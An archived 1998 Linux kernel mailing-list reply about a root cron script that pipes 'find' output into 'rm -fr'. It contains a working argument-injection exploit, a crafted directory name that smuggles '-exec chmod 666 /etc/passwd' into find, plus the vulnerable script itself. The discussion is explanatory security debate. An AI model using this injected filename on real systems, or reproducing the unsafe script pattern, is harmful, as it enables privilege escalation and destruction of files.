[lkml]   [1998]   [Oct]   [26]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
Messages in this thread
SubjectRe: Directory name problem...
In <> Henrik Olsen ( wrote:
HO> On Mon, 26 Oct 1998, Khimenko Victor wrote:
>> In <> Michael H. Warfield ( wrote:
>> MW> Khimenko Victor enscribed thusly:
>> >> 25-Oct-98 20:01 you wrote:
>> >> > Hi Michael.
>> >> >>> % Already tried, and he's not interested, but I did find out what script
>> >> >>> % he's using...
>> >> >>> %
>> >> >>> % Q> #!/bin/sh
>> >> >>> % Q> XYZZY="`find / -name core`"
>> >> >>> % Q> for LOOP in `find $XYZZY | sort -ru` ; do
>> >> >>> % Q> rm -fr $LOOP
>> >> >>> % Q> done
HO> <Lots snipped>
>> Uh, oh, ah. If you THAT serius then send me (privately if you do not want to
>> create troubles from publishing such exploit -- I'll not distribute it)
>> exploit of THIS SCRIPT (not my bash, my glibc or my perl but exploit of THIS
>> SCRIPT; that is exploit which is not possible without executing of this script
>> every hour -- something like mkdir -p "/tmp /dev /core") which will make my
>> /etc/passwd word-writable.

HO> You asked for an exploit of that exact script, here's one that works

HO> mkdir -p ' -exec chmod 666 /etc/passwd ; -o -name /core'

HO> You don't need any shell metachars to make it execute any command you
HO> want.

Oops. I'm forgot about problem with second find parameters :-(( Shit. Yes.
Even if script is really immune to metacharacters (and here I am right after
all :-) it's still vulnerable via good old trick with parameters (this trick
was used in so many places so many times in different wariations and still
sometimes it's hard to remember it - shame on me). Good work.

P.S. But I'm still not sure if it was wise idea to publish this in list :-((

To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to
Please read the FAQ at

 \ /
  Last update: 2005-03-22 13:45    [from the cache]
©2003-2014 Jasper Spaans. hosted at Digital Ocean